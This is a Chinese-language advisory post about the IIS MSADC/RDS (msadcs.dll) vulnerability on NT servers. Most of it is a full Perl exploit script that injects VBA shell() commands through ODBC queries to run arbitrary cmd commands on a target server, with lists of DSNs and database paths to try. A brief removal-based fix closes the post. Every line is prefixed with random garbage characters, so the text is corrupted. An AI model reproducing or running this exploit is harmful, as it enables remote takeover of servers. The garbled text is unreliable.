IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
RA0;f'"` r<vMp'u 涉及程序:
{kpF etXt? Microsoft NT server
[neuwdN s)1-xA{'. 描述:
F/oqYk9` 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
7ch9Pf K[z)ts- 详细:
ALMsF2H 如果你没有时间读详细内容的话,就删除:
X)b$CG c:\Program Files\Common Files\System\Msadc\msadcs.dll
e5'I W__ 有关的安全问题就没有了。
eAy,T<# FNQ<k[#K'~ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
sO.MUj; o "VKAP 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
i7Qb~RW 关于利用ODBC远程漏洞的描述,请参看:
#3&@FzD_P q'mh* http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm !..<_qfw LF7-??' 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
m}"Hm(,6 http://www.microsoft.com/security/bulletins/MS99-025faq.asp bZ`v1d
(r 0S{23L4C 这里不再论述。
cN,*QN )3h\QE!z 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
xC`!uPk/pL _Y; TS1u /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
*ID=X!v 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
-UhpPw6 =D1 SQN?[v #将下面这段保存为txt文件,然后: "perl -x 文件名"
@v)Z>xv :v^/k]S #!perl
s$M(-"mg #
Os9SfL # MSADC/RDS 'usage' (aka exploit) script
xC)bW,% #
<h#*wy:o2 # by rain.forest.puppy
FV^jCseZ #
5Tl5T& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
~,)jZ-fw # beta test and find errors!
sfXFh f}-'67*Y use Socket; use Getopt::Std;
]1
f^ SxSI getopts("e:vd:h:XR", \%args);
hr
vTFJ 2-4N)q print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
qb"S |*bUcS<S if (!defined $args{h} && !defined $args{R}) {
7H Har'=T print qq~
!*#9b Usage: msadc.pl -h <host> { -d <delay> -X -v }
F-,gj{s -h <host> = host you want to scan (ip or domain)
<6Q^o[L -d <seconds> = delay between calls, default 1 second
)@wC6Ij -X = dump Index Server path table, if available
@|Pm%K`1 -v = verbose
m\>gOTpA4 -e = external dictionary file for step 5
"| '~y}v_ Olzw)WjG Or a -R will resume a command session
i~u4v3r= 2
}xePX9? ~; exit;}
?|M-0{ /2K"Mpf8 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
R~g|w4a@sC if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
KXt8IMP_"y if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
'?rR>$s if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
P+CV4;Xz $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
b**vUt\ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
tD8fSV o#m31*o if (!defined $args{R}){ $ret = &has_msadc;
R_EU|a die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
k3Yu"GY^ #BRIp(65-6 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
1<!P:@( . "cmd /c ";
PZ]tl $in=<STDIN>; chomp $in;
cK$yr)7 $command="cmd /c " . $in ;
X'OpR alJ0gc2?
if (defined $args{R}) {&load; exit;}
`EKf1U\FI HI5NWdfRl print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
~ 5}t; &try_btcustmr;
t24`*' {a[BhK'g print "\nStep 2: Trying to make our own DSN...";
p3P8@M &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Y}[<KK}_ Cmx<>7fN print "\nStep 3: Trying known DSNs...";
O*N:A[eW &known_dsn;
yi8vD~aA[ H;`F}qQ3 print "\nStep 4: Trying known .mdbs...";
Yc#Uu8f- &known_mdb;
S9dxrm? h2Q'5G if (defined $args{e}){
>Tf}aI+ print "\nStep 5: Trying dictionary of DSN names...";
"ku[b\W &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
8~!E.u9w uzp\V
39 print "Sorry Charley...maybe next time?\n";
aR2N,<Cp5 exit;
}+jB5z'w |lhnCShw ##############################################################################
J`g5Qn@S 21!X[)r sub sendraw { # ripped and modded from whisker
QGNKQ`~ sleep($delay); # it's a DoS on the server! At least on mine...
4&E"{d
> my ($pstr)=@_;
jtoS{B, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
_`gF%$]b die("Socket problems\n");
t'K+)OK if(connect(S,pack "SnA4x8",2,80,$target)){
K+Him]
b select(S); $|=1;
Lv+{@) print $pstr; my @in=<S>;
k _t|)
J select(STDOUT); close(S);
u-~ec{oBu return @in;
1V,@uY)s } else { die("Can't connect...\n"); }}
6vNW)1{nn #JYl%=#, ##############################################################################
&l cfX\y eX\v;~W* sub make_header { # make the HTTP request
.$~3RjM my $msadc=<<EOT
r
(m3"Xu6O POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
7"|Qmyb User-Agent: ACTIVEDATA
jNxTy UU Host: $ip
&wi+)d Content-Length: $clen
23CvfP Connection: Keep-Alive
!v2/sq$G +VVn@=&? ADCClientVersion:01.06
jA"}\^%3 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
\(LD<-a h`U-{VIrqi --!ADM!ROX!YOUR!WORLD!
[xGwqa03 Content-Type: application/x-varg
aUL7]'q} Content-Length: $reqlen
'7oR|I &Sb)a EOT
glC,E> ; $msadc=~s/\n/\r\n/g;
"PMJh 3q return $msadc;}
IS"[< 5v oL@w> ##############################################################################
1Z 0Qkd( -f ? sub make_req { # make the RDS request
iUz?mt;k my ($switch, $p1, $p2)=@_;
nHF66,7t my $req=""; my $t1, $t2, $query, $dsn;
In4VS:dD TgJ+:^+0 if ($switch==1){ # this is the btcustmr.mdb query
EkV#i
$query="Select * from Customers where City=" . make_shell();
(J4( Ge $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
'WHI.*= $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
H6Zo|n S?Cd,WxT elsif ($switch==2){ # this is general make table query
XRV~yBIS $query="create table AZZ (B int, C varchar(10))";
)09ltr0@" $dsn="$p1";}
?o)?N8U h>>~B i elsif ($switch==3){ # this is general exploit table query
u~,hTY(% $query="select * from AZZ where C=" . make_shell();
R{[v#sF ># $dsn="$p1";}
gs+nJ+b p+ReQ.5| elsif ($switch==4){ # attempt to hork file info from index server
cRs\()W $query="select path from scope()";
^KD1dy3( $dsn="Provider=MSIDXS;";}
]Ky`AG`2~ |L89yjhWBs elsif ($switch==5){ # bad query
}@.@k6`n $query="select";
t"9r`0> $dsn="$p1";}
e{5O>RO zk1]? $t1= make_unicode($query);
'h;qI& $t2= make_unicode($dsn);
#'@@P6o5 $req = "\x02\x00\x03\x00";
mb`h $req.= "\x08\x00" . pack ("S1", length($t1));
16N| $req.= "\x00\x00" . $t1 ;
cxQ %tL+S& $req.= "\x08\x00" . pack ("S1", length($t2));
8B+C[Q:+' $req.= "\x00\x00" . $t2 ;
Rt,po $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
ajG_t return $req;}
Za?BpV~ e34g=]" ##############################################################################
A.yIl`'UP# b7+(g[O sub make_shell { # this makes the shell() statement
1}Guhayy return "'|shell(\"$command\")|'";}
)l(DtU!E @:Ft+*2 ##############################################################################
U:@tdH+A7 nxEC6Vh' sub make_unicode { # quick little function to convert to unicode
B^]Gv7- my ($in)=@_; my $out;
`c^">L for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
6*EIhIQ( return $out;}
=/xx:D/ O9<oq ##############################################################################
X]2x0 1:yil9.\* sub rdo_success { # checks for RDO return success (this is kludge)
F_ -Xx" my (@in) = @_; my $base=content_start(@in);
YuHXm3[ if($in[$base]=~/multipart\/mixed/){
* >:< return 1 if( $in[$base+10]=~/^\x09\x00/ );}
(]?M=?0\ return 0;}
vqVwo\oEdU f8UJ3vB ##############################################################################
u^i3 @JuX .F%jbnKd_ sub make_dsn { # this makes a DSN for us
.=yv m my @drives=("c","d","e","f");
\R-'<kN.* print "\nMaking DSN: ";
'n"we#
[ foreach $drive (@drives) {
MLiaCG; print "$drive: ";
hpbi!g my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
}G^'y8U "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
!?J-Y . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
lqO>Q1_{K $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
B>I:KGkV return 0 if $2 eq "404"; # not found/doesn't exist
WuI$ if($2 eq "200") {
S{)K_x foreach $line (@results) {
MO| Dwuaf return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
W lW%z(RC } return 0;}
1`s^r+11: 7+KI9u}- ##############################################################################
(!efaj .!+7|us8l\ sub verify_exists {
0DnOO0Nc my ($page)=@_;
:AQ9-&i/a- my @results=sendraw("GET $page HTTP/1.0\n\n");
Ek_<2!%X return $results[0];}
X(.[rC> UUvCi+W ##############################################################################
&sYxe:H !I&,!$ sub try_btcustmr {
l&kZ6lZ my @drives=("c","d","e","f");
5eyB\>k, my @dirs=("winnt","winnt35","winnt351","win","windows");
^ rUq{ qu'D"0 foreach $dir (@dirs) {
0S&J=2D! print "$dir -> "; # fun status so you can see progress
O.\\)8xA foreach $drive (@drives) {
`|v/qk7
^? print "$drive: "; # ditto
<u],R.S) $reqlen=length( make_req(1,$drive,$dir) ) - 28;
*(5T?p[7 $reqlenlen=length( "$reqlen" );
VfDa>zV3 $clen= 206 + $reqlenlen + $reqlen;
v046 qUn+1.[% my @results=sendraw(make_header() . make_req(1,$drive,$dir));
BG.sHI{ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
=}I=s@ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
9%"\s2T 9d( M%F ##############################################################################
je 3Qq1 @o#Yq
n3Y sub odbc_error {
B&1E&Cv_8 my (@in)=@_; my $base;
!mB
`F C my $base = content_start(@in);
GDiyFTr if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
p8?"} $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9`"#OQPn1 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
vCK+v
r! $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wuk\__f4 return $in[$base+4].$in[$base+5].$in[$base+6];}
N 6\Ey{ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
rce._w } print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
%q9"2]
cR $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
.!i`YT*jF \I<R.49oW ##############################################################################
;KEie@Ry .j>MsQP#\C sub verbose {
% -+7=x my ($in)=@_;
J6>tGKa+e return if !$verbose;
p&)d]oV> print STDOUT "\n$in\n";}
A;&YPHB FgrVXb_q ##############################################################################
7&%HE\ 0_Elxc sub save {
5~im.XfiVx my ($p1, $p2, $p3, $p4)=@_;
j+q) open(OUT, ">rds.save") || print "Problem saving parameters...\n";
sX*L[3!vN print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
WU@_aw[ close OUT;}
$<&_9T#&w Z5*(xony0 ##############################################################################
.c @Y?..+ L<B)BEE. sub load {
'.>y'= my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^K_FGE0ec open(IN,"<rds.save") || die("Couldn't open rds.save\n");
kUT^o @p=<IN>; close(IN);
X%N!gy $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
0S'@(p[A $target= inet_aton($ip) || die("inet_aton problems");
bKzG5|Qu print "Resuming to $ip ...";
iWFtb)3B $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
@#-\BQ; if($p[1]==1) {
_iEnS4$A8 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
_g( aO70Zu $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
.jC5 y& my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
y65lbl%Zn if (rdo_success(@results)){print "Success!\n";}
q4G$I?4 else { print "failed\n"; verbose(odbc_error(@results));}}
Y|J=72!]
elsif ($p[1]==3){
v&d'ABeT if(run_query("$p[3]")){
])%UZM6 print "Success!\n";} else { print "failed\n"; }}
Q>9bKP elsif ($p[1]==4){
fR+{gazk
n if(run_query($drvst . "$p[3]")){
JRZp'Ln print "Success!\n"; } else { print "failed\n"; }}
fE&s 6w& exit;}
4`fV_H.8 P/^@t+KC ##############################################################################
Sl'$w4s
W=LJhCpRHj sub create_table {
.XRe:\8mc my ($in)=@_;
) j&khHD $reqlen=length( make_req(2,$in,"") ) - 28;
(NDC9Lls $reqlenlen=length( "$reqlen" );
;*9<lUvu $clen= 206 + $reqlenlen + $reqlen;
7/k7V) my @results=sendraw(make_header() . make_req(2,$in,""));
p5w9X+G% return 1 if rdo_success(@results);
ja/wI'J< my $temp= odbc_error(@results); verbose($temp);
J=(i0A return 1 if $temp=~/Table 'AZZ' already exists/;
2QEH!)lvr return 0;}
DHuvHK0# +RR6gAma}< ##############################################################################
j6$@vA) WPlf8* -fQ sub known_dsn {
[e@m-/B # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
o"z;k3(i$7 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
m\/) m]wR "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
+ @|u8+ "banner", "banners", "ads", "ADCDemo", "ADCTest");
P>)J:.tr0 e6tU8`z foreach $dSn (@dsns) {
(: kn) print ".";
W&D{0 i`y next if (!is_access("DSN=$dSn"));
#R31VQwK5 if(create_table("DSN=$dSn")){
:%j"l7=> print "$dSn successful\n";
)Y'g; if(run_query("DSN=$dSn")){
,aBy1K print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
{hN<Ot print "Something's borked. Use verbose next time\n";}}} print "\n";}
!7Qj8YmS IR:{ { ( ##############################################################################
I@O9bxR? P?c V d2Y sub is_access {
JC~4B3! my ($in)=@_;
iC^G^ ~V+H $reqlen=length( make_req(5,$in,"") ) - 28;
9 BU#THDm $reqlenlen=length( "$reqlen" );
Eyk:pnKJb $clen= 206 + $reqlenlen + $reqlen;
/YU8L my @results=sendraw(make_header() . make_req(5,$in,""));
2Q@Jp`#,4 my $temp= odbc_error(@results);
h8Oj
E$
H verbose($temp); return 1 if ($temp=~/Microsoft Access/);
J(maJuY return 0;}
c=bK_Z_ cXf/ ##############################################################################
c&wiTvRV Nge@8 sub run_query {
kTT%<
e my ($in)=@_;
#.fJ
M:"tG $reqlen=length( make_req(3,$in,"") ) - 28;
_s5FYb# $reqlenlen=length( "$reqlen" );
#Cy3x-! $clen= 206 + $reqlenlen + $reqlen;
)+8r$ i my @results=sendraw(make_header() . make_req(3,$in,""));
#Dz"g_d return 1 if rdo_success(@results);
ZG#:3d*) my $temp= odbc_error(@results); verbose($temp);
Vkd_&z7 return 0;}
KLVYWZib xx7&y!_ ##############################################################################
k $8Zg*) NG:4Q.G1g sub known_mdb {
:sLg$OF my @drives=("c","d","e","f","g");
(JnEso-V my @dirs=("winnt","winnt35","winnt351","win","windows");
+j+
v(- my $dir, $drive, $mdb;
K3h7gY| . my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
nR@mm
j @2d9
7.X # this is sparse, because I don't know of many
q
_K@KB my @sysmdbs=( "\\catroot\\icatalog.mdb",
matm>3n "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
4x4[ "\\system32\\certmdb.mdb",
h)j#?\KYm9 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
3vAP&i'I <gH-`3J6 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
+opym!\ "\\cfusion\\cfapps\\forums\\forums_.mdb",
_dCDT$^&r "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
YDYNAOThnb "\\cfusion\\cfapps\\security\\realm_.mdb",
HrFbUK@@ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
$3&XM "\\cfusion\\database\\cfexamples.mdb",
XkoPN]0n "\\cfusion\\database\\cfsnippets.mdb",
+t&)Z "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
&2 *
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
KHC Fz "\\cfusion\\brighttiger\\database\\cleam.mdb",
AW|SD "\\cfusion\\database\\smpolicy.mdb",
"iX\U'` "\\cfusion\\database\cypress.mdb",
4MW oGV9 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
fl9VokAT "\\website\\cgi-win\\dbsample.mdb",
_?'W30Dg "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
)^4Ljb1 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
pr4y*!|Y$ ); #these are just
v3t<rv foreach $drive (@drives) {
,D(Bg9C foreach $dir (@dirs){
q(hBqU W foreach $mdb (@sysmdbs) {
9kqR-T|Q print ".";
fZsw+PSy if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
vSoG] :1 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
N=T} if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
`U\l: ~]e print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
T3"'`Sd9; } else { print "Something's borked. Use verbose next time\n"; }}}}}
Z,O-P9jC c'Ibgfx%m foreach $drive (@drives) {
7^M$u\a)U foreach $mdb (@mdbs) {
p W5D!z print ".";
#8M^;4N>[ if(create_table($drv . $drive . $dir . $mdb)){
h&d"| < print "\n" . $drive . $dir . $mdb . " successful\n";
xt"-Jmox if(run_query($drv . $drive . $dir . $mdb)){
u(f;4` print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
+|pYu<OY } else { print "Something's borked. Use verbose next time\n"; }}}}
gae=+@z }
5T( cy 7,Z<PE ##############################################################################
ZHeq)5C ;f ;/?w-)n? sub hork_idx {
6|3 X*Orn print "\nAttempting to dump Index Server tables...\n";
NRT]dYf"z print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Xppb|$qp4H $reqlen=length( make_req(4,"","") ) - 28;
nec}grA $reqlenlen=length( "$reqlen" );
Z0y~%[1X $clen= 206 + $reqlenlen + $reqlen;
g=qaq
my @results=sendraw2(make_header() . make_req(4,"",""));
/iQh'rp if (rdo_success(@results)){
J>;r(j my $max=@results; my $c; my %d;
<6,,:=# for($c=19; $c<$max; $c++){
h>cjRH?e $results[$c]=~s/\x00//g;
cT/mi":8{ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
%0}}Qt $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
2DJg__(" $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
L;{{P7 $d{"$1$2"}="";}
c VO-iPK foreach $c (keys %d){ print "$c\n"; }
[cznhIvyO } else {print "Index server doesn't seem to be installed.\n"; }}
K{@xZ) 0_+
& [g} ##############################################################################
}-XZ1qr cwtlOg sub dsn_dict {
~[og\QZX open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Vmh$c*TE while(<IN>){
vRf$#fBEQ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
7w8UnPuM next if (!is_access("DSN=$dSn"));
uW#s;1H.) if(create_table("DSN=$dSn")){
hm0A%Js print "$dSn successful\n";
I} +up,B]o if(run_query("DSN=$dSn")){
Y TY(Et1i print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
jA^Dk$ print "Something's borked. Use verbose next time\n";}}}
IqsUtWSp print "\n"; close(IN);}
;C:|m7| 59W~bWHCP ##############################################################################
t#y,9>6
6Bcr.` sub sendraw2 { # ripped and modded from whisker
}oSgx sleep($delay); # it's a DoS on the server! At least on mine...
N$C+le my ($pstr)=@_;
Eaxsg socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
jAy2C&aP die("Socket problems\n");
AcXVfk z if(connect(S,pack "SnA4x8",2,80,$target)){
*vIP\NL?H print "Connected. Getting data";
2*#i/SE_ open(OUT,">raw.out"); my @in;
PN<VqtW select(S); $|=1; print $pstr;
EfpMzD7/( while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Ij =NcP close(OUT); select(STDOUT); close(S); return @in;
Jmg9|g!f } else { die("Can't connect...\n"); }}
BYhiP/^ x^pt^KR; ##############################################################################
#G`K<%{?f 5VQ-D`kE+ sub content_start { # this will take in the server headers
H8dS]N~[Y my (@in)=@_; my $c;
=2NrmwWZs for ($c=1;$c<500;$c++) {
W+U0Y,N6 if($in[$c] =~/^\x0d\x0a/){
}gt)cOaY if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
g"m9[R=]6 else { return $c+1; }}}
&HAu;u@ return -1;} # it should never get here actually
d8+@K&z| dKU:\y ##############################################################################
.8%b;b "X;5*
4+ sub funky {
[uHC
AP my (@in)=@_; my $error=odbc_error(@in);
9rT^rTV if($error=~/ADO could not find the specified provider/){
-{9mctt/gE print "\nServer returned an ADO miscofiguration message\nAborting.\n";
;bg]H >$U7 exit;}
Sf.OBU1rs if($error=~/A Handler is required/){
" Y^9g/ print "\nServer has custom handler filters (they most likely are patched)\n";
%la1-r~ exit;}
7[mfI?*m if($error=~/specified Handler has denied Access/){
+TaxH; print "\nServer has custom handler filters (they most likely are patched)\n";
w{2CV\^>5 exit;}}
%0/qb0N& ^?sP[;8S! ##############################################################################
F.1u9) e?B}^Dk0i sub has_msadc {
C8T0=o/-` my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
p8@&(+z my $base=content_start(@results);
FkuD Gg~a return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
>qr/1mW return 0;}
[{GN#W|AGP /EP
zT7 ########################
TecMQ0
KD zn&ZXFgN ePJ_O~c 解决方案:
qq<T~^ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
(U#
Oj" 2、移除web 目录: /msadc